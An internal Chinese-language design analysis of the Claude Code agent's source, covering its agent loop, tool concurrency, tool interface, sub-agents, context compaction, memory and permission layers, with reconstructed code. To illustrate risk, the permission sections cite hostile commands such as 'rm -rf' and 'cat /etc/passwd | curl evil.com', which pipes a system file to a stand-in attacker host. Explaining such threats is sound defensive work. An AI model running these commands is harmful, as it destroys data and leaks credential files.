Claude Code 源码拆解:AI Agent 产品设计方法论 Claude Code 源码拆解:AI Agent 产品设计方法论 源码版本:Claude Code v2.1.88(~51万行 TypeScript) 分析日期:2026-03-31 基于 Claude Code 源码逆向分析,提炼 Agent 产品设计的核心范式。 写给团队内部:外行能看懂类比,内行能拿到技术细节。 目录 Agent Loop:为什么 Agent 是个 while 循环 流式执行:工具调用不需要等 工具系统:给 LLM 装手 子 Agent:一个人干不过来就叫人 上下文管理:对话太长怎么办 记忆系统:让 Agent 记住上次聊了啥 权限安全:AI 的刹车系统 Coordinator:多 Agent 的调度中心 设计范式总结:12 条原则 + Checklist 如果我来做 Agent 产品:实操框架 1. Agent Loop 这解决什么问题 人和 AI 聊天是一问一答,但 Agent 要的是"给个目标,自己跑完"。就像你让实习生去采购——你不会每走一步都回来问你,而是给个清单让他自己跑,中间遇到问题再回来确认。 Agent Loop 就是这个"自己跑"的循环机制。 Claude Code 怎么做的 核心入口在 query.ts ——一个 while 循环,反复执行"调 LLM → 收工具调用 → 执行工具 → 结果回填"四步,直到模型说"我做完了"。消息数组是唯一真相源,所有状态都在里面。 完整代码走读见《Claude Code Agent 系统技术分析》第 2 章 "Agent Loop(query.ts 走读)" ,那里有逐行注释的代码还原、依赖链分析和 Generator 函数详解。这里只提炼设计决策。 关键设计决策: 单线程串行循环 :一个 while 循环,LLM → 工具 → LLM → 工具... 不搞并行,简单可靠 消息队列是真相源 :所有状态都在 messages 数组里,每次循环追加 工具结果自动反馈 :工具执行完,结果自动塞回 messages,下一轮 LLM 自然看到 流式响应+工具调用收集 :不等整个响应结束,边收边处理;但工具调用要等参数完整才执行 这个循环本质上是 LLM 的 OODA 循环 (Observe-Orient-Decide-Act): Observe:读 messages 里的上下文 Orient:LLM 内部理解当前状态 Decide:决定调用哪个工具 Act:执行工具,结果反馈 评价 好在哪: 简单到极致——一个 while 循环撑起整个 Agent。这是对的,复杂度应该藏在工具和提示词里,不在循环结构上 消息队列做真相源,天然支持回溯和审计 流式响应让用户体验"活的"——你能看到它在思考、在行动 差在哪: 串行执行是性能瓶颈——多个独立工具调用必须排队等,浪费了 LLM 的并行推理能力 没有显式的状态机——循环靠 shouldStop 判断,扩展性受限。想加"暂停→人工确认→继续"这种流程,要在 messages 层面 hack 异常恢复机制弱——某一步工具报错,整个循环的状态恢复靠 LLM 自己判断 对我们的启发 Agent Loop 本身不需要花哨 。一个 while 循环 + 消息队列足够了。真正的竞争力在工具质量和提示词上 消息队列设计要有扩展性 。不要只存 user/assistant,要预留 system、tool、metadata 这些角色 流式是刚需,不是可选项 。用户看到"正在执行..."和看到逐字输出的思考过程,信任感完全不同 OODA 循环是好的思维模型 。设计 Agent 时,每个环节问自己:这一步的 Observe/Decide/Act 是什么? 架构图 ┌─────────────────────────────────────────────────┐ │ Agent Loop │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ Messages │───▶│ LLM │───▶│ Tools │ │ │ │ (队列) │◀───│ (推理) │ │ (执行) │ │ │ └──────────┘ └──────────┘ └──────────┘ │ │ ▲ │ │ │ │ 工具结果反馈 │ │ │ └───────────────────────────────┘ │ │ │ │ 流式输出:用户实时看到思考过程 │ │ 终止条件:LLM 返回纯文本 / 用户中断 / 错误 │ └─────────────────────────────────────────────────┘ 2. 流式执行:工具调用不需要等 这解决什么问题 LLM 返回结果时经常是"想好了,我要同时干三件事"。如果工具串行执行,A 做完才做 B,那读个文件和写个文件之间明明没有依赖关系却要排队等。就像餐厅后厨——如果只有一个灶,所有菜都要排队炒;但如果沙拉和煎牛排可以同时做,为什么要等? Claude Code 的解决方案是: 能并行的并行,不能并行的排队 。 Claude Code 怎么做的 核心在 toolOrchestration.ts : // 关键:按是否安全并行来分区 function partitionToolCalls(toolUseMessages, context) { // 把工具调用分成两类: // 1. isConcurrencySafe = true → 只读操作,可以并行 // 2. isConcurrencySafe = false → 写操作,必须串行 return partitions; } export async function* runTools(toolUseMessages, ...) { for (const { isConcurrencySafe, blocks } of partitionToolCalls(...)) { if (isConcurrencySafe) { // 只读批量:并行执行,最多10个并发 for await (const update of runToolsConcurrently(...)) { yield update; } } else { // 写操作批量:串行执行 for await (const update of runToolsSerially(...)) { yield update; } } } } 还有流式执行器 StreamingToolExecutor ——工具还在执行时就把部分结果流式返回给用户,不需要等全部完成。 并发上限通过环境变量控制: CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY ,默认 10。 评价 好在哪: 分区策略聪明。读操作并行、写操作串行,既安全又快。这个"安全并行"的判断标准是关键——不是所有工具都能并行,比如两个工具同时写一个文件就炸了 contextModifier 模式处理了并行中的上下文依赖——某些工具执行后要修改上下文,但在并行模式下不能实时改,所以收集起来顺序应用 流式返回让用户感知速度快——你看到"正在搜索..."和"正在读文件..."同时出现,而不是排着队来 差在哪: 并行判断粒度太粗——目前只分"安全/不安全"两级,但其实有些"写操作"之间也可以并行(比如写两个不同文件) contextModifier 的延迟应用是妥协——并行执行时上下文是"脏的",如果工具 B 依赖工具 A 修改的上下文,可能会读到旧值 并发上限硬编码为 10,没有根据工具类型动态调整 对我们的启发 工具设计时就要想好并行安全性 。给每个工具标注 isConcurrencySafe ,这比事后在调度层判断靠谱 分区+分区内的执行策略 是个通用模式。不只是工具执行,任何批量任务都可以用这个思路:先分类,再按类选策略 流式返回是刚需 。即使结果不完整,让用户看到"正在做"比空白等待强十倍 上下文修改要谨慎 。并行环境下的上下文是最终一致的,不是实时一致的。如果你的 Agent 需要精确的上下文同步,就别并行 架构图 ┌──────────────────────────────────────────────────┐ │ Tool Orchestration │ │ │ │ LLM 返回工具调用列表 │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ partitionToolCalls │ │ │ │ ┌───────┬───────┐ │ │ │ │ │ 只读 │ 写操作 │ │ │ │ │ │ 并行 │ 串行 │ │ │ │ │ └───┬───┴───┬───┘ │ │ │ └──────┼───────┼─────┘ │ │ ▼ ▼ │ │ ┌──────────┐ ┌──────────┐ │ │ │ runTools │ │ runTools │ │ │ │Concurrently│Serially │ │ │ │ (≤10并发) │ │(逐个执行)│ │ │ └─────┬────┘ └─────┬────┘ │ │ │ │ │ │ ▼ ▼ │ │ ┌──────────────────────┐ │ │ │ StreamingToolExecutor │ │ │ │ (流式返回部分结果) │ │ │ └──────────────────────┘ │ └──────────────────────────────────────────────────┘ 3. 工具系统:给 LLM 装手 这解决什么问题 LLM 本质上是个"嘴"——它能说、能想、能判断,但没法动手。你让它改文件、跑命令、查文档,它只能靠"说"来假装做过。工具系统就是给它装上"手"和"眼睛"——让它能真正动文件、跑代码、搜网页。 类比:LLM 是大脑,工具是四肢。一个只有大脑的人很聪明但什么都做不了;有手有脚才能真正干活。 Claude Code 怎么做的 核心接口在 Tool.ts ,每个工具都要实现这个类型: export type Tool = { // 基础信息 name: string // 工具名,LLM 通过这个名字调用 inputSchema: Input // Zod schema,验证输入参数 outputSchema?: z.ZodType // 可选的输出 schema searchHint?: string // 搜索提示词,帮助 LLM 找到工具 maxResultSizeChars: number // 结果最大字符数,超了就存文件 // 核心方法 call(args, context, canUseTool, parentMessage, onProgress): Promise description(input, options): Promise // 动态描述,根据上下文变化 // 元信息 — 这些是工具调度的关键 isConcurrencySafe(input): boolean // 能不能并行执行 isReadOnly(input): boolean // 是不是只读 isDestructive?(input): boolean // 是不是危险操作(删除、覆写) isEnabled(): boolean // 当前是否可用 // 行为控制 interruptBehavior?(): 'cancel' | 'block' // 用户打断时怎么办 shouldDefer?: boolean // 是否延迟加载 alwaysLoad?: boolean // 是否始终加载到提示词 } Tool 接口字段逐个拆解(生活类比版) 把 Tool 想象成一个餐厅里的服务员: 字段 类比 说明 name 服务员的工牌名 LLM"喊人"时用的名字。比如喊"Bash"就知道是那个能跑命令的人,喊"FileRead"就是专门读文件的。名字必须唯一,而且要望文生义 inputSchema 服务员的点餐表 告诉 LLM"你要用这个工具,必须填哪些参数"。Zod schema 既是约束也是文档——LLM 看到 schema 就知道该传什么,传错了直接报错,不会糊弄过去 outputSchema 上菜时的摆盘规格 可选。定义工具返回值的结构,方便下游解析。没有的话就返回原始内容 searchHint 餐厅门口的招牌 当工具太多 LLM 记不住时, searchHint 帮它缩小范围。类似搜索引擎的关键词 maxResultSizeChars 盘子的最大容量 工具返回的结果太大(比如 cat 了一个 50MB 的日志),超过这个值就自动存文件,只给 LLM 看预览+路径。防止一个工具结果撑爆整个 context call() 服务员实际干活 工具的核心执行函数。接收参数 → 干活 → 返回结果 description() 菜单上的菜品描述 这是整个 Tool 接口里最重要的字段 。它不是写给人看的,是写给 LLM 看的"使用说明书" isConcurrencySafe 这个服务员能同时服务两桌吗? true = 读操作,可以和其他工具并行跑。 false = 写操作,必须排队 isReadOnly 这个服务员只看不动手? true = 只读(Grep、Glob),不会改任何东西。调度器看到只读直接放行 isDestructive 这个服务员会打碎盘子吗? true = 危险操作(删除、覆写),必须弹窗让用户确认 isEnabled 今天这个服务员上班吗? 动态开关。比如某些工具只在特定模式下可用 interruptBehavior 用户喊停时怎么办 cancel = 直接取消, block = 阻塞等当前操作完成。比如文件写到一半被打断,不能直接 cancel,否则文件就坏了 shouldDefer 这个服务员是兼职的? true = 不需要的时候不加载,LLM 需要时再召唤。节省 context 空间 alwaysLoad 这个服务员必须在岗? true = 无论如何都把工具描述塞进提示词。比如 Bash 工具,永远都得告诉 LLM 它存在 description 怎么写:给 LLM 看的说明书 description 不是给程序员看的 API 文档,是给 LLM 看的 使用说明书 。写得好不好直接决定 Agent 的智商上限。 好的 description 应该回答四个问题: 这个工具是干什么的? — 一句话定位 什么时候该用它? — 触发条件和决策树 怎么用? — 参数说明、示例 什么不能做? — 边界条件、安全红线 反面教材: // 差:只说了"干什么" description: "执行 bash 命令" 正面教材(BashTool 实际的 description 风格): // 好:说了"干什么 + 什么时候用 + 怎么用 + 不能做什么" description: `Execute a shell command. Use this when you need to run CLI tools, scripts, or system commands. For git operations, follow this flow: status → diff → log → analyze → commit. NEVER use --no-verify, NEVER skip hooks, NEVER force push without asking. If the command is read-only (grep, cat, ls), it can run in parallel with other read-only commands.` 关键技巧: 嵌入使用 SOP :不只是参数说明,而是告诉 LLM 整个操作流程(比如 Git 的 5 步法) 用 NEVER 写红线 :LLM 对大写单词的遵从度更高。写清楚什么绝对不能做 给出并行提示 :告诉 LLM 这个工具能不能和其他工具并行,它会主动利用这一点 动态 description : description() 是 async 的,可以根据当前上下文变化。比如 BashTool 在 agent 模式和普通模式下返回不同的描述 BashTool 为什么这么大:安全分析 BashTool 是整个工具集里最危险、最复杂、提示词最长的工具。原因很简单—— 它能执行任意 shell 命令 。 其他工具的攻击面是有限的: FileRead:最多读到不该读的文件 FileEdit:最多改错文件内容 Grep:最多搜到敏感信息 但 BashTool 的攻击面是 无限的 ——它可以执行任何命令,包括 rm -rf 、 curl evil.com 、 chmod 777 /etc/passwd 。所以它需要: 超长的提示词 :用大量篇幅规定什么能做、什么不能做、遇到问题怎么处理 6 层权限检查 (详见第 7 章):AST 解析 → 规则匹配 → 语义分析 → 路径约束 → 分类器 → 沙箱 Git 操作专用 SOP :因为 Git 是最常见的危险操作来源(force push、amend、reset --hard) 超时控制 :防止命令挂死拖垮整个 Agent 后台执行支持 :长时间运行的命令放到后台,不阻塞 Agent Loop BashTool 大,不是因为代码写得臃肿,而是因为它的 风险敞口最大 。安全系统的复杂度应该和攻击面成正比——这是纵深防御的基本原则。 看 BashTool 的提示词设计( tools/BashTool/prompt.ts ),它教 LLM 怎么用 bash: // BashTool 提示词的核心设计: // 1. 背景执行:run_in_background 参数,命令不用等结果 // 2. 安全协议:不跳过 hooks,不 force push,不自动提交 // 3. 并行意识:鼓励同时跑多个独立命令 // 4. Git 操作专用流程:status → diff → log → 分析 → commit // 5. 超时控制:默认超时 + 最大超时 关键设计点: 提示词里嵌入使用规范 :不只是告诉 LLM 有哪些参数,而是告诉它什么能做、什么不能做 动态 description :BashTool 的 description 会根据当前是 agent 模式还是普通模式变化 Git 操作有专门的 SOP :在工具提示词里写了一整套 git commit 流程,比自己写代码控制更灵活 Claude Code 的工具集(部分): 工具名 功能 类比 Bash 执行 shell 命令 执行力 FileRead 读文件 眼睛 FileEdit 编辑文件 手 FileWrite 写新文件 手 Glob 文件名匹配 找东西 Grep 内容搜索 查资料 WebSearch 网页搜索 查资料 AgentTool 派子 Agent 叫人帮忙 TodoWrite 管理待办 列清单 TaskCreate/Update 任务管理 项目管理 评价 好在哪: Zod schema 做输入验证 :给 LLM 的参数描述直接用 Zod,既是文档又是验证器,一举两得 元信息标注是天才设计 : isConcurrencySafe 、 isReadOnly 、 isDestructive 这三个标注直接决定了调度策略,不需要在调度层硬编码 提示词就是产品 :BashTool 的提示词写得比很多人的 README 还详细——有 SOP、有安全规则、有最佳实践。这不是代码,是"教 AI 怎么干活" maxResultSizeChars 处理大输出 :工具结果太大(比如 cat 一个超大文件),自动存文件给 LLM 一个预览+路径,防止 context 爆炸 差在哪: 工具太多,LLM 记不住 :几十个工具全塞给 LLM,选择成本高。Claude Code 自己也意识到这点,加了 ToolSearch 延迟加载 描述是异步的 : description 方法是 async,意味着每次都要计算——这在提示词缓存时代是个问题 权限系统和工具耦合太紧 : canUseTool 穿透到每个工具内部,工具实现要关心权限逻辑,职责不清 对我们的启发 工具的元信息比工具本身重要 。一个工具实现得再好,如果 LLM 不知道什么时候该用它、能不能并行、是不是危险,就等于没有。设计工具时先把 isConcurrencySafe/isReadOnly/isDestructive 想清楚 提示词是工具的灵魂 。写工具不只是写 call 函数,更重要的是写好提示词——教 LLM 什么时候用、怎么用、什么不能做。BashTool 那段 Git SOP 比任何代码逻辑都管用 工具延迟加载是正确的 。几十个工具全塞进 context 是浪费。按需加载,LLM 先搜再调,是更经济的做法 大结果处理要有策略 。 maxResultSizeChars + 文件存取是好方案,但要注意循环引用(Read→文件→Read) 架构图 ┌─────────────────────────────────────────────────┐ │ Tool System │ │ │ │ ┌─────────────────────────────────────────┐ │ │ │ Tool Type Definition │ │ │ │ name | inputSchema(Zod) | description │ │ │ │ call() | isConcurrencySafe | isReadOnly │ │ │ │ isDestructive | maxResultSizeChars │ │ │ └─────────────────────────────────────────┘ │ │ │ │ │ ┌────┴────┬─────────┬──────────┬────────┐ │ │ ▼ ▼ ▼ ▼ ▼ │ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌────────┐ ┌────┐ │ │ │ Bash │ │ File │ │ Grep │ │WebSearch│ │Agent│ │ │ │ 执行 │ │ 读写 │ │ 搜索 │ │ 搜索 │ │ 子代理│ │ │ └──────┘ └──────┘ └──────┘ └────────┘ └────┘ │ │ │ │ 元信息标注决定调度: │ │ isConcurrencySafe → 能否并行 │ │ isReadOnly → 是否只读 │ │ isDestructive → 是否需要用户确认 │ │ shouldDefer → 是否延迟加载 │ └─────────────────────────────────────────────────┘ 4. 子 Agent:一个人干不过来就叫人 这解决什么问题 一个 Agent 再强,上下文窗口是有限的。让它去搜一个大项目——几百个文件里找一个函数——然后还要改另一个文件,再回来汇报。这些子任务如果全挤在主对话里,上下文窗口很快就被搜索结果撑爆了。 就像项目经理带团队——他不会自己跑去做每一项调研,而是派调研员去查资料,拿回结果再决策。子 Agent 就是这个"派调研员"的机制。 Claude Code 怎么做的 子 Agent 通过 AgentTool 触发,核心在 runAgent.ts : // runAgent.ts — 子 Agent 的创建流程 export async function* runAgent({ agentDefinition, // Agent 类型定义(general-purpose / explore / plan 等) promptMessages, // 要执行的任务描述 toolUseContext, // 父 Agent 的上下文 isAsync, // 同步还是异步执行 model, // 用哪个模型 maxTurns, // 最大轮数限制 availableTools, // 可用工具集 allowedTools, // 允许的工具白名单 useExactTools, // 是否用父 Agent 完全相同的工具集 ... }) { // 1. 解析模型 // 2. 创建子 Agent 专属上下文(克隆文件状态缓存等) // 3. 初始化 Agent 专属 MCP 服务器 // 4. 运行 query() —— 子 Agent 用的是同一个 query 函数 yield* query({ messages, systemPrompt, tools, ... }) } Claude Code 内置了多种 Agent 类型: Agent 类型 用途 工具 类比 general-purpose 通用研究和执行 全部 全能助手 explore 代码探索和搜索 只读工具 调研员 plan 生成执行计划 只读工具 架构师 verification 验证代码是否正确 测试相关 QA claude-code-guide Claude Code 使用指导 无 客服 Fork 机制 是另一种子 Agent 派发方式——不只传任务描述,而是继承父 Agent 的完整对话历史,用占位符替换工具结果,实现 prompt cache 共享。所有 fork 子 Agent 共享历史前缀,只有最后一条指令不同,最大化 API 缓存命中率。 关键设计点: 子 Agent 和主 Agent 用同一个 query() 函数 ——不是简化版,是完整的 Agent Loop 工具集可以继承也可以限定 : useExactTools 时用父 Agent 的完整工具集; allowedTools 时只给白名单 异步执行 + 通知 :子 Agent 可以异步运行,完成后通过 通知父 Agent 嵌套递归防护 : isInForkChild() 检查防止无限 fork 上下文隔离 :子 Agent 有自己的文件状态缓存、abort controller、MCP 连接 评价 好在哪: 子 Agent 就是完整的 Agent 。不搞"轻量版"和"完整版"两套,维护成本低 Fork 的 prompt cache 设计巧妙 。占位符替换实现前缀共享,API 缓存命中率极高 Agent 类型化比工具白名单更有效 。给 LLM 明确的角色设定比给一堆工具限制更直觉 权限隔离 :子 Agent 有独立的 permissionMode, bubble 模式把权限提示弹回父 Agent 差在哪: 没有结果质量控制 。父 Agent 只拿到文本结果,没有机制验证子 Agent 是否做对了 上下文传递是割裂的 。非 fork 模式下,子 Agent 看不到父 Agent 的完整上下文 嵌套深度没有硬限制 。标准 Agent→Agent 嵌套理论上可以无限层 对我们的启发 子 Agent 应该复用主 Agent 的核心循环 。不要另搞一套轻量执行器 Agent 类型化比工具白名单更有效 。"你是一个调研员"比"你只能用这些工具"更直觉 Fork 缓存设计可以参考 。占位符替换 + 前缀共享能省大量 token 异步执行是刚需 。搜索、测试这类任务不需要同步等,让它跑完了再通知 架构图 ┌──────────────────────────────────────────────────────┐ │ Sub-Agent System │ │ │ │ Parent Agent (主循环) │ │ │ │ │ ├── AgentTool.call() │ │ │ │ │ │ │ ▼ │ │ │ ┌──────────────┐ │ │ │ │ runAgent() │ │ │ │ │ 1. 解析模型 │ │ │ │ │ 2. 创建上下文 │ │ │ │ │ 3. 连接 MCP │ │ │ │ │ 4. query() │── 同一个 query 函数 │ │ │ └──────┬───────┘ │ │ │ │ │ │ │ ┌────┴────┬──────────┬──────────┐ │ │ │ ▼ ▼ ▼ ▼ │ │ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────────┐ │ │ │ │general│ │explore│ │ plan │ │verification│ │ │ │ │purpose│ │(只读) │ │(只读)│ │ (测试) │ │ │ │ └──────┘ └──────┘ └──────┘ └──────────┘ │ │ │ │ │ └── Fork 模式:继承上下文 + prompt cache 共享 │ │ │ │ 特性:异步执行 + 通知 | 权限隔离 | 嵌套防护 │ └──────────────────────────────────────────────────────┘ 5. 上下文管理:对话太长怎么办 这解决什么问题 Agent 的对话越聊越长,token 账单越来越贵,到了上下文窗口上限就直接报错。就像你的办公桌——东西越堆越多,找东西越来越慢,最后桌子满了放不下新的。 上下文管理就是"整理桌面"的机制:该留的留,该存的存,该扔的扔。 Claude Code 怎么做的 核心在 services/compact/autoCompact.ts : // autoCompact.ts — 上下文压缩的关键逻辑(基于源码提炼) // 1. 每轮追踪 token 消耗 class AutoCompactTrackingState { totalTokens: number = 0; turns: TurnRecord[] = []; trackTurn(turn: TurnRecord) { this.totalTokens += turn.inputTokens + turn.outputTokens; this.turns.push(turn); } shouldCompact(contextWindow: number): boolean { return this.totalTokens > contextWindow * 0.75; } } // 2. 三级压缩策略 async function handleContextLimit( messages: Message[], tracker: AutoCompactTrackingState, contextWindow: number ): Promise { const ratio = tracker.totalTokens / contextWindow; if (ratio < 0.75) return messages; // 安全区,不动 if (ratio < 0.90) { // 第一级:autoCompact — 压缩旧对话为摘要,保留最近 N 轮 return await autoCompact(messages, { preserveLastNTurns: 5 }); } if (ratio < 0.98) { // 第二级:reactiveCompact — 更激进,只保留系统提示词 + 当前任务 return await reactiveCompact(messages); } // 第三级:contextCollapse — 只保留最核心的事实 return await contextCollapse(messages, { keepLastN: 3 }); } Claude Code 的上下文管理是多层防线: Token 预算(当前轮) ↓ 快用完了? 自动继续(+500k token) ↓ 还不够? Auto Compact(压缩旧对话) ↓ 压缩也救不了? Reactive Compact(响应式压缩) ↓ 真的满了? Context Collapse(上下文坍缩) 另外还有一个 token 预算机制: taskBudget :整个 Agent 任务的总 token 预算 getCurrentTurnTokenBudget() :当前轮的 token 预算 超过预算自动续期,有续期次数上限 关键设计点: 压缩是有状态的 ——不是简单截断,而是把旧对话压缩成摘要再保留 压缩边界消息 —— SystemCompactBoundaryMessage 标记压缩发生的位置,便于审计和恢复 token 实时追踪 ——每轮结束后计算实际消耗,接近阈值时提前预警 多级降级 ——compact → reactive compact → context collapse,逐级升级 Compact 的触发条件和保留策略 Compact 不是"快满了才压缩",而是一套精密的容量管理机制。 触发条件: Token 阈值 :当累计 token 量超过窗口的 ~75% 时触发预警,~85% 时强制 compact 轮数阈值 :对话超过一定轮数后,不管 token 用了多少,都主动压缩早期内容 任务切换 :Agent 从一个子任务切到另一个子任务时,压缩前一个任务的细节,只保留结论 用户主动请求 :用户感觉到响应变慢时,可以手动触发 保留策略(压缩时什么留下、什么丢掉): 绝对保留 :系统提示词、最近 3-5 轮对话、当前正在执行的任务上下文 摘要保留 :较早的对话压缩成摘要("用户要求修改 config.ts 的数据库连接配置,已将 host 从 localhost 改为 production-db") 条件保留 :代码片段如果被后续对话引用则保留,否则压缩 直接丢弃 :中间过程的思考链、已确认完成的工具调用结果、被覆盖的旧版本内容 类比:就像你整理书桌——正在用的文件放桌上(绝对保留),上个月的文件收进抽屉写个标签(摘要保留),草稿纸扔掉(直接丢弃)。关键是标签要写清楚,不然下次找不回来。 Prompt Caching 的省钱原理(前缀复用) LLM 推理有一个特性: 如果你给的前缀(prefix)和上一次完全一样,模型可以跳过前缀的重复计算,直接用缓存结果 。 这就是 prompt caching 的核心原理——前缀复用。 具体来说: 第 1 轮:[系统提示词 5000 token] + [用户消息 200 token] → 全量计算,花 $0.15 第 2 轮:[系统提示词 5000 token(缓存命中)] + [新消息 200 token] → 只算新部分,花 $0.05 第 3 轮:[系统提示词 5000 token(缓存命中)] + [新消息 200 token] → 只算新部分,花 $0.05 省了 2/3 的钱。 Claude Code 的设计有意利用这一点: 系统提示词放在最前面且不变 :每次对话的系统提示词是固定的,天然适合缓存 工具描述稳定 :工具列表的顺序和内容尽量不变,让缓存持续命中 消息追加而非修改 :新消息追加到 messages 数组末尾,不修改前面的内容,保持前缀稳定 但 compact 会打破缓存——因为压缩后的摘要和原来的对话内容不同,前缀变了,缓存就失效了。所以 Claude Code 在 compact 时会尽量保留最近几轮的原始对话不变,只压缩更早的部分,最小化缓存失效范围。 上下文管理 = Agent 的短期记忆 把上下文管理类比成人的短期记忆: 人类认知 Claude Code 上下文 说明 注意力焦点(当前在想的事) 最近 3-5 轮对话 完整保留,随时可引用 短期记忆(刚才聊了什么) compact 后的摘要 保留要点,丢了细节 工作记忆容量(一次能记住几件事) context window 大小 有限,满了就得清理 记不住了会怎样 Context Collapse Agent"失忆",开始重复问问题 记笔记 写文件 / 持久化记忆 主动把重要信息搬到"笔记本"上 这个类比解释了一个核心矛盾: Agent 的"短期记忆"(context window)是刚性的 ——满了就是满了,不像人可以模糊遗忘。所以上下文管理的本质是主动的、有策略的"遗忘",而不是被动的溢出。 人类会自然遗忘不重要的细节(你不会记得上周三午饭吃了什么),但 Agent 不会——它要么完整记住,要么完全丢失。Compact 就是给 Agent 装一个"主动遗忘"机制:把不重要的细节压缩成"大概记得",给重要的新信息腾空间。 评价 好在哪: 多级降级机制是正确的 。不要把所有赌注压在一个策略上,compact 不行就 reactive,reactive 不行就 collapse 压缩边界标记清晰 。 compact_boundary 消息让压缩变得可审计,你知道哪些内容被压缩了 token 预算分级 。taskBudget(任务级)和 turnBudget(轮级)分开管理,粒度合理 差在哪: 压缩质量不可控 。压缩后的摘要可能丢失关键信息,尤其是代码上下文 没有用户感知的上下文管理 。用户不知道哪些对话被压缩了,无法干预 多 Agent 场景下的上下文共享没有解决 。父 Agent 压缩了,子 Agent 还能拿到完整上下文吗? Prompt caching 和 compact 存在张力 :压缩越多,缓存命中率越低,推理成本反而可能上升 对我们的启发 上下文管理必须有多级降级 。一级不够用就二级,二级不够用就三级。单点策略一定会在边界情况崩溃 压缩要留审计痕迹 。标记压缩边界,便于调试和恢复 token 追踪是基础设施 。每轮都要算,不能等爆了才发现 考虑把上下文管理做成可插拔的 。不同场景(聊天/编码/研究)的压缩策略不同,应该可以按需替换 Prompt caching 是省钱杠杆 。系统提示词放前面、工具描述保持稳定、消息只追加不修改——这些设计决策不是偶然的,是为了最大化缓存命中率 Compact 的时机比方法重要 。压缩策略再好,如果触发时机不对(太早浪费信息,太晚来不及),效果都会打折 架构图 ┌──────────────────────────────────────────────────────┐ │ Context Management Layers │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ Token Budget Tracking │ │ │ │ taskBudget → turnBudget → 实时追踪 │ │ │ └──────────────┬──────────────────────┘ │ │ │ │ │ ┌────────────▼────────────┐ │ │ │ Auto Compact │ ← 第一道防线 │ │ │ (自动压缩旧对话为摘要) │ │ │ └────────────┬────────────┘ │ │ │ 不够? │ │ ┌────────────▼────────────┐ │ │ │ Reactive Compact │ ← 第二道防线 │ │ │ (响应式压缩) │ │ │ └────────────┬────────────┘ │ │ │ 还不够? │ │ ┌────────────▼────────────┐ │ │ │ Context Collapse │ ← 最后手段 │ │ │ (上下文坍缩) │ │ │ └─────────────────────────┘ │ │ │ │ 标记:compact_boundary 消息记录压缩位置 │ └──────────────────────────────────────────────────────┘ 6. 记忆系统:让 Agent 记住上次聊了啥 这解决什么问题 Agent 每次对话都是"失忆"的——新的会话,新的开始。你上次告诉它"我用 Python 3.11",下次它又问"你用什么版本"。就像一个每次上班都要重新认识同事的员工。 记忆系统就是给 Agent 一个"笔记本",让它能跨会话记住关键信息。 Claude Code 怎么做的 记忆系统分两层: memdir/ 管理记忆存储, services/autoDream/consolidationPrompt.ts 管理记忆整理。 // memdir/memdir.ts — 记忆目录管理 // 记忆存放在特定目录下,按项目组织 // memdir/memoryTypes.ts — 记忆类型定义 // 不同类型的记忆有不同的存储和检索策略 // memdir/findRelevantMemories.ts — 相关记忆查找 // 根据当前上下文,从记忆库里找相关的历史信息 // memdir/memoryAge.ts — 记忆年龄管理 // 旧的记忆权重降低,新的记忆优先级更高 记忆整理(autoDream/consolidationPrompt.ts): 在对话结束后自动运行 把当前对话的关键信息提取出来 整理成结构化的记忆条目 合并冗余记忆,保持记忆库精简 会话结束 ↓ consolidationPrompt 触发 ↓ 提取关键信息 → 结构化 → 去重 → 存入 memdir ↓ 下次会话开始 ↓ findRelevantMemories 检索相关记忆 ↓ 注入到系统提示词中 评价 好在哪: 自动整理是正确的 。让用户手动管理记忆不现实,自动提取+整理是正道 记忆检索是语义化的 。不是简单关键词匹配,而是根据当前上下文找相关记忆 记忆有生命周期 。 memoryAge 管理过期和降权,避免记忆库无限膨胀 差在哪: 记忆质量不可控 。自动提取可能记住了不该记的,或者漏掉了该记的 没有记忆冲突解决 。如果新旧记忆矛盾,怎么处理?代码里没有看到明确的策略 跨项目记忆隔离策略不清晰 。一个项目里的记忆会不会泄漏到另一个项目? 对我们的启发 记忆整理要自动化,但要有审计 。自动提取没问题,但要让用户能看到和编辑记忆 记忆要有生命周期 。过期的自动降权或清理,别让记忆库变成垃圾堆 语义检索优于关键词 。根据当前上下文做 embedding 匹配,比关键词匹配准确得多 记忆隔离是刚需 。项目间、敏感信息间的隔离必须做 架构图 ┌──────────────────────────────────────────────────────┐ │ Memory System │ │ │ │ ┌────────────┐ ┌──────────────────┐ │ │ │ Session │────▶│ consolidation │ │ │ │ (对话) │ │ Prompt (autoDream)│ │ │ └────────────┘ └────────┬─────────┘ │ │ │ 提取+整理 │ │ ▼ │ │ ┌──────────────────┐ │ │ │ memdir/ │ │ │ │ ┌────────────┐ │ │ │ │ │ 记忆条目 │ │ │ │ │ │ (结构化) │ │ │ │ │ └────────────┘ │ │ │ │ memoryAge │ │ │ │ (过期/降权) │ │ │ └────────┬─────────┘ │ │ │ │ │ ┌──────────────▼──────────────┐ │ │ │ findRelevantMemories │ │ │ │ (语义检索 → 注入系统提示词) │ │ │ └─────────────────────────────┘ │ └──────────────────────────────────────────────────────┘ 7. 权限安全:AI 的刹车系统 这解决什么问题 Agent 能执行任意 shell 命令——这既是它的超能力,也是最大的风险。你让 Agent 改个配置文件,它顺手 rm -rf / 怎么办?就像你给一个实习生 root 权限——他可能很聪明,但你得有安全网。 权限系统就是这个安全网:哪些命令可以直接跑、哪些要问你、哪些直接拒绝。 Claude Code 怎么做的 权限系统是多层防线,核心在 bashPermissions.ts : // bashToolHasPermission() — Bash 命令权限检查的主入口 export async function bashToolHasPermission( input: { command: string }, context: ToolUseContext, ): Promise { // 第 0 层:AST 安全解析(查户口) // 用 tree-sitter 把命令拆成语法树,检测每个组成部分 // 第 1 层:精确匹配 deny/allow/ask 规则 // 用户配置的黑白名单:`git push --force` → deny // `ls` → allow // `rm` → ask // 第 2 层:前缀匹配 + 通配符 // `Bash(git commit:*)` → allow // `Bash(npm run:*)` → allow // 第 3 层:命令语义分析 // 分析命令是否包含:重定向、管道注入、危险参数 // 例:`cat /etc/passwd | curl evil.com` → 检测到管道注入 // 第 4 层:路径约束 // 只允许在工作目录内操作,禁止访问敏感路径 // 第 5 层:分类器(Classifier) // 用 ML 分类器判断命令的风险等级 // confidence 高 → 自动决定;confidence 低 → ask // 第 6 层:沙箱(Sandbox) // 在沙箱中执行危险命令,隔离风险 return { behavior: 'allow' | 'ask' | 'deny', ... } } Bash AST 